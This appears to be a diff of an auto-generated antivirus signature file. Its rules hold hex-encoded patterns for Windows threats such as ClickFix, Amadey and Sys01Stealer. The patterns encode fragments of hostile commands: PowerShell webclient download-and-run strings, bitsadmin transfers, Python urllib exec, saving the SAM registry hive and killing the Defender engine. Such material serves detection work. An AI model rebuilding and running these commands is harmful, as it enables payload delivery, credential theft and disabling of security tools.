0a 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 0a 00 18 80 01 6e 65 77 2d 6f 62 6a 65 63 74 20 6e 65 74 2e 77 65 62 63 6c 69 65 6e 74 0a 00 34 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 } //104 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_00_3 & 1)*104) >=4 + +} +rule _InfrastructureShared_27781{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 41 41 00 0a 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 0a 00 18 80 01 6e 65 77 2d 6f 62 6a 65 63 74 20 6e 65 74 2e 77 65 62 63 6c 69 65 6e 74 0a 00 34 02 64 } //21283 + $a_00_2 = {6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 90 02 02 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 00 00 d7 8e 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 52 50 41 21 4d 54 42 00 01 00 60 02 2e 00 65 00 78 00 65 00 20 00 78 00 20 00 2d 00 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110) >=30 + +} +rule _InfrastructureShared_27782{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 52 50 41 21 4d 54 42 00 01 00 60 02 2e 00 65 00 78 00 65 00 20 00 78 00 20 00 2d 00 61 00 6f 00 61 00 20 00 2d 00 62 00 73 00 6f 00 30 00 20 00 2d 00 62 00 73 00 70 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 06 00 21 " @@ -343653,12 +363312,24 @@ rule _InfrastructureShared_26267{ $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 72 69 66 6f 75 43 6d 64 6c 69 6e 65 2e 41 00 01 00 0c 00 20 00 2f 00 6d 00 68 00 70 00 20 00 01 00 0c 00 20 00 2f 00 6d 00 64 00 73 00 20 00 01 00 0c 00 20 00 2f } //21539 $a_00_2 = {01 00 0e 00 20 00 2f 00 61 00 66 00 6c 00 74 00 3d 00 01 00 0c 00 20 00 2f 00 61 00 64 00 74 00 } //116 $a_00_3 = {0c } //61 - $a_00_5 = {74 00 3a 00 00 00 d7 8e 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 50 79 45 78 65 63 55 72 6c 52 65 61 64 00 01 00 16 00 5c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 01 00 08 00 20 00 2d 00 63 00 20 00 01 00 28 00 65 00 78 00 65 00 63 00 20 00 75 00 72 00 6c 00 6c 00 69 00 62 00 2e 00 75 00 72 00 6c 00 6f 00 70 00 65 00 6e 00 28 00 01 00 } //101 + $a_00_5 = {74 00 3a 00 00 00 d7 8e 00 00 05 00 05 00 04 00 21 23 43 4d 44 3a 57 69 6e 33 32 2f 53 79 73 30 31 53 74 65 61 6c 65 72 2e 41 00 02 00 12 00 5c 00 70 00 68 00 70 00 2e 00 65 00 78 00 65 00 00 00 02 00 1d 02 70 00 68 00 70 00 2e 00 65 00 78 00 65 00 20 00 90 02 15 2e 00 70 00 68 00 70 00 90 00 01 00 12 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 } //101 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*116+(#a_00_3 & 1)*61+(#a_00_5 & 1)*101) >=4 } -rule _InfrastructureShared_26268{ +rule _InfrastructureShared_27784{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_44_0 = {57 69 6e 33 32 2f 53 79 73 30 31 53 74 65 61 6c 65 72 2e 41 00 02 00 12 00 5c 00 70 00 68 00 70 00 2e 00 65 00 78 00 65 00 00 00 02 00 1d 02 70 00 68 00 70 00 2e 00 65 00 78 00 65 00 20 00 90 02 15 2e 00 70 00 68 00 70 00 90 00 01 } //17187 + $a_00_2 = {70 00 44 00 61 00 74 00 61 00 5c 00 01 00 1a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 00 00 d7 8e 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 50 79 45 78 65 63 55 72 6c 52 65 61 64 00 01 00 16 00 5c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 01 00 08 00 20 00 2d 00 63 00 20 00 } //65 + $a_00_3 = {65 00 78 00 65 00 63 00 20 00 75 00 72 00 6c 00 6c 00 69 00 62 00 2e 00 75 00 72 00 6c 00 6f 00 70 00 65 00 6e 00 28 00 } //1 exec urllib.urlopen( + condition: + ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*65+(#a_00_3 & 1)*1) >=5 + +} +rule _InfrastructureShared_27785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -343671,32 +363342,45 @@ rule _InfrastructureShared_26268{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105+(#a_74_3 & 1)*25964+(#a_00_4 & 1)*60) >=5 } -rule _InfrastructureShared_26269{ +rule _InfrastructureShared_27786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 73 68 65 6c 6c 2f 53 75 73 70 45 6d 61 69 6c 43 6f 6c 6c 65 63 74 2e 41 21 69 62 74 00 03 00 2f 80 01 6d 69 63 72 6f 73 6f 66 74 2e 65 78 63 68 61 6e 67 65 2e 6d 61 6e 61 67 65 6d 65 6e 74 2e } //21283 $a_65_1 = {73 68 65 6c 6c 2e 73 6e 61 70 69 6e 03 00 0e 80 01 65 6d 61 69 6c 61 64 64 72 65 73 73 65 73 03 00 0b 80 01 73 6d 74 70 61 64 64 72 65 73 73 00 00 d7 8e 00 00 3c 00 3c 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 73 4c 6f 61 64 2e 41 00 0a 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 } //28528 - $a_00_2 = {0a 00 0e 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 0a 00 10 00 70 00 2e 00 70 00 68 00 70 00 3f 00 6e 00 3d 00 0a 00 08 00 26 00 69 00 64 00 3d 00 0a 00 06 00 26 00 69 00 3d 00 0a 00 06 00 26 00 73 00 3d 00 00 00 d7 8f 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 73 61 73 73 45 6e 75 6d } //105 + $a_00_2 = {0a 00 0e 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 0a 00 10 00 70 00 2e 00 70 00 68 00 70 00 3f 00 6e 00 3d 00 0a 00 08 00 26 00 69 00 64 00 3d 00 0a 00 06 00 26 00 69 00 3d 00 0a 00 06 00 26 00 73 00 3d 00 00 00 d7 8e 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e } //105 condition: ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*28528+(#a_00_2 & 1)*105) >=9 } -rule _InfrastructureShared_26270{ +rule _InfrastructureShared_27787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 06 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 73 4c 6f 61 64 2e 41 00 0a 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 0a 00 0e 00 2f 00 75 00 70 00 6c } //21539 $a_00_2 = {10 00 70 00 2e 00 70 00 68 00 } //100 - $a_00_3 = {6e 00 3d 00 0a 00 08 00 26 00 69 00 64 00 3d 00 0a 00 06 00 26 00 69 00 3d 00 0a 00 06 00 26 00 73 00 3d 00 00 00 d7 8f 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 } //112 - $a_2f_4 = {73 61 73 73 45 6e 75 6d 2e 41 21 4d 54 42 00 01 00 60 00 74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 20 00 2f 00 66 00 69 00 20 00 49 00 6d 00 61 } //13166 + $a_00_3 = {6e 00 3d 00 0a 00 08 00 26 00 69 00 64 00 3d 00 0a 00 06 00 26 00 69 00 3d 00 0a 00 06 00 26 00 73 00 3d 00 00 00 d7 8e 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //112 + $a_2f_4 = {6c 69 63 6b 46 69 78 2e 44 48 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 69 00 6f 00 } //13166 + $a_00_5 = {61 00 74 00 68 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 4e 00 61 00 6d 00 65 00 28 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8f 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 73 61 73 73 45 6e 75 6d 2e 41 21 4d 54 42 00 01 00 60 00 74 } //46 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_00_3 & 1)*112+(#a_2f_4 & 1)*13166) >=60 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_00_3 & 1)*112+(#a_2f_4 & 1)*13166+(#a_00_5 & 1)*46) >=60 } -rule _InfrastructureShared_26271{ +rule _InfrastructureShared_27788{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 69 00 6f 00 2e 00 70 00 61 00 74 00 68 00 5d 00 } //21283 + $a_00_1 = {47 00 65 00 74 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 4e 00 61 00 6d 00 65 00 28 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8f 00 00 01 00 01 00 } //58 + $a_23_2 = {45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 73 61 73 73 45 6e 75 6d 2e 41 21 4d 54 42 00 01 } //1 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58+(#a_23_2 & 1)*1) >=111 + +} +rule _InfrastructureShared_27789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343706,7 +363390,7 @@ rule _InfrastructureShared_26271{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26272{ +rule _InfrastructureShared_27790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 21 " @@ -343714,12 +363398,12 @@ rule _InfrastructureShared_26272{ $a_4c_0 = {4d 70 43 6d 64 52 75 6e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 2e 42 00 01 00 0a 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 01 00 } //21539 $a_00_1 = {55 00 52 00 4c 00 20 00 01 00 0c 00 2d 00 70 00 61 00 74 00 68 00 20 00 01 00 08 00 68 00 74 00 74 00 70 00 9c ff 10 00 4d 00 70 00 43 } //10 $a_00_3 = {6e 00 00 00 d7 90 00 00 02 00 02 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 50 79 74 68 6f 6e 2f 43 6f 6e 74 61 63 74 57 61 76 65 2e 42 21 64 68 61 00 01 00 26 00 4f 00 4d 00 53 00 65 00 72 00 76 00 65 00 72 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 76 00 62 00 73 00 01 00 0e 00 53 00 74 00 61 00 72 00 74 00 55 00 70 00 fe ff 0e } //82 - $a_00_5 = {69 00 70 00 74 00 fe ff 0e 00 43 00 53 00 63 00 72 00 69 00 70 00 74 00 00 00 d7 90 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 42 00 01 00 1a 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 63 00 6f 00 64 00 65 00 63 00 73 00 01 00 28 00 65 00 78 00 65 00 63 00 28 00 63 00 6f 00 64 00 } //99 + $a_00_5 = {69 00 70 00 74 00 fe ff 0e 00 43 00 53 00 63 00 72 00 69 00 70 00 74 00 00 00 d7 90 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 53 21 4d 54 42 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 02 00 50 00 24 00 01 00 22 00 2e 00 44 00 6f 00 } //99 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10+(#a_00_3 & 1)*82+(#a_00_5 & 1)*99) >=5 } -rule _InfrastructureShared_26273{ +rule _InfrastructureShared_27791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 21 " @@ -343732,19 +363416,30 @@ rule _InfrastructureShared_26273{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-2+(#a_00_3 & 1)*-2) >=2 } -rule _InfrastructureShared_26274{ +rule _InfrastructureShared_27792{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 53 21 4d 54 42 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 02 00 50 00 24 00 01 00 22 00 2e 00 44 00 6f 00 77 00 6e 00 } //21283 + $a_00_1 = {61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 90 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 42 00 01 00 1a 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 63 00 6f } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108) >=3 + +} +rule _InfrastructureShared_27793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 42 00 01 00 1a 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 63 00 6f 00 64 00 65 00 63 00 73 00 01 00 28 00 65 00 78 00 65 00 63 00 28 00 63 00 6f } //21539 $a_00_2 = {2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 62 00 01 00 12 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 3d 00 01 00 08 00 7a 00 6c 00 69 00 62 00 00 00 d7 91 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 54 6f 2e 41 00 01 00 3b 02 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 20 00 2f 00 46 00 } //99 - $a_02_3 = {ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 00 01 00 33 02 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 20 00 2f 00 46 00 20 00 90 02 ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 00 00 00 d7 92 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 6f 70 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 30 01 77 00 6d 00 69 00 63 00 20 00 70 00 } //32 + $a_02_3 = {ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 00 01 00 33 02 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 20 00 2f 00 46 00 20 00 90 02 ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 00 00 00 d7 91 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 } //32 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*99+(#a_02_3 & 1)*32) >=4 } -rule _InfrastructureShared_26275{ +rule _InfrastructureShared_27794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -343754,19 +363449,64 @@ rule _InfrastructureShared_26275{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26276{ +rule _InfrastructureShared_27795{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 2e 00 52 00 75 00 6e 00 74 00 69 00 6d 00 65 00 2e 00 49 00 6e } //21283 + $a_00_2 = {70 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 01 00 18 00 63 00 72 00 65 00 61 00 74 00 65 00 74 00 68 00 72 00 65 00 61 00 64 00 00 00 d7 91 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 58 21 4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114) >=3 + +} +rule _InfrastructureShared_27796{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 58 21 4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 0f 70 00 69 00 6e 00 67 00 90 00 0a 00 3c 00 6c 00 73 00 3b } //21283 + condition: + ((#a_46_0 & 1)*21283) >=110 + +} +rule _InfrastructureShared_27797{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 4c 41 21 4d 54 42 00 01 00 12 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 2c 00 2f 00 6b 00 20 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 } //21283 + $a_00_1 = {20 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 10 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 92 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 6f 70 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 30 01 77 00 6d 00 69 00 63 00 } //105 + $a_00_2 = {72 00 6f 00 63 00 65 00 73 00 73 00 20 00 63 00 61 00 6c 00 6c 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 01 00 0e 01 5c 00 72 00 72 00 2e 00 65 00 78 00 65 00 01 00 10 01 2d 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 01 00 0a 01 2d 00 70 00 61 00 73 00 73 00 00 00 d7 92 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //32 + $a_6e_3 = {32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4f 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 0a 00 2d 00 4a 00 6f 00 69 00 4e 00 01 00 06 00 27 00 2b 00 27 00 01 00 1e 00 2c 00 5b 00 53 00 54 00 52 00 49 00 6e 00 } //22330 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_00_2 & 1)*32+(#a_6e_3 & 1)*22330) >=4 + +} +rule _InfrastructureShared_27798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 6f 70 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 30 01 77 00 6d 00 69 00 63 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 63 00 61 00 6c 00 6c 00 20 00 63 00 72 00 65 00 61 00 } //21283 - $a_00_1 = {01 00 0e 01 5c 00 72 00 72 00 2e 00 65 00 78 00 65 00 01 00 10 01 2d 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 01 00 0a 01 2d 00 70 00 61 00 73 00 73 00 00 00 d7 92 00 00 19 00 19 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 44 42 21 4d 54 42 00 0a 00 10 } //116 - $a_00_3 = {61 00 73 00 6b 00 73 00 01 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 01 00 06 00 2f 00 73 00 63 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 69 00 77 00 72 00 01 00 08 00 68 00 74 00 74 00 70 00 0a 00 06 00 69 00 65 00 78 00 00 00 d7 94 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f } //104 + $a_00_1 = {01 00 0e 01 5c 00 72 00 72 00 2e 00 65 00 78 00 65 00 01 00 10 01 2d 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 01 00 0a 01 2d 00 70 00 61 00 73 00 73 00 00 00 d7 92 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4f 43 21 4d 54 42 00 01 } //116 + $a_00_3 = {65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 0a 00 2d 00 4a 00 6f 00 69 00 4e 00 01 00 06 00 27 00 2b 00 27 00 01 00 1e 00 2c 00 5b 00 53 00 54 00 52 00 49 00 6e 00 67 00 5d 00 5b 00 63 00 68 00 61 00 72 00 5d 00 00 00 d7 92 00 00 19 00 19 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //111 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_3 & 1)*104) >=4 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_3 & 1)*111) >=4 } -rule _InfrastructureShared_26277{ +rule _InfrastructureShared_27799{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4f 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 } //21283 + $a_00_1 = {4a 00 6f 00 69 00 4e 00 01 00 06 00 27 00 2b 00 27 00 01 00 1e 00 2c 00 5b 00 53 00 54 00 52 00 49 00 6e 00 67 00 5d 00 5b 00 63 00 68 } //10 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10) >=5 + +} +rule _InfrastructureShared_27800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,19 00 19 00 07 00 21 " @@ -343781,7 +363521,7 @@ rule _InfrastructureShared_26277{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*10+(#a_94_5 & 1)*0) >=25 } -rule _InfrastructureShared_26278{ +rule _InfrastructureShared_27801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -343793,7 +363533,7 @@ rule _InfrastructureShared_26278{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_2e_3 & 1)*25976) >=4 } -rule _InfrastructureShared_26279{ +rule _InfrastructureShared_27802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -343804,7 +363544,7 @@ rule _InfrastructureShared_26279{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*32) >=11 } -rule _InfrastructureShared_26280{ +rule _InfrastructureShared_27803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -343815,7 +363555,7 @@ rule _InfrastructureShared_26280{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_26281{ +rule _InfrastructureShared_27804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -343826,32 +363566,19 @@ rule _InfrastructureShared_26281{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*67) >=3 } -rule _InfrastructureShared_26282{ +rule _InfrastructureShared_27805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 70 6f 72 52 61 67 65 2e 41 21 64 68 61 00 0a 00 10 01 72 00 65 00 67 00 20 00 73 00 61 00 76 00 65 00 01 00 24 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 } //21283 - $a_00_2 = {31 00 5c 00 01 00 0a 01 73 00 79 00 2e 00 73 00 61 00 01 00 0e 01 73 00 61 00 6d 00 2e 00 73 00 61 00 22 00 01 00 0a 01 73 00 65 00 2e 00 73 00 61 00 00 00 d7 95 00 00 7e 00 7e 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 } //112 - $a_54_3 = {00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 08 00 68 00 74 00 74 00 70 00 14 00 1d 02 53 00 74 00 61 00 72 00 74 00 90 02 04 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 00 01 00 04 00 d8 3e dd } //8519 + $a_00_2 = {31 00 5c 00 01 00 0a 01 73 00 79 00 2e 00 73 00 61 00 01 00 0e 01 73 00 61 00 6d 00 2e 00 73 00 61 00 22 00 01 00 0a 01 73 00 65 00 2e 00 73 00 61 00 00 00 d7 96 00 00 01 00 01 00 01 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 72 69 66 6f 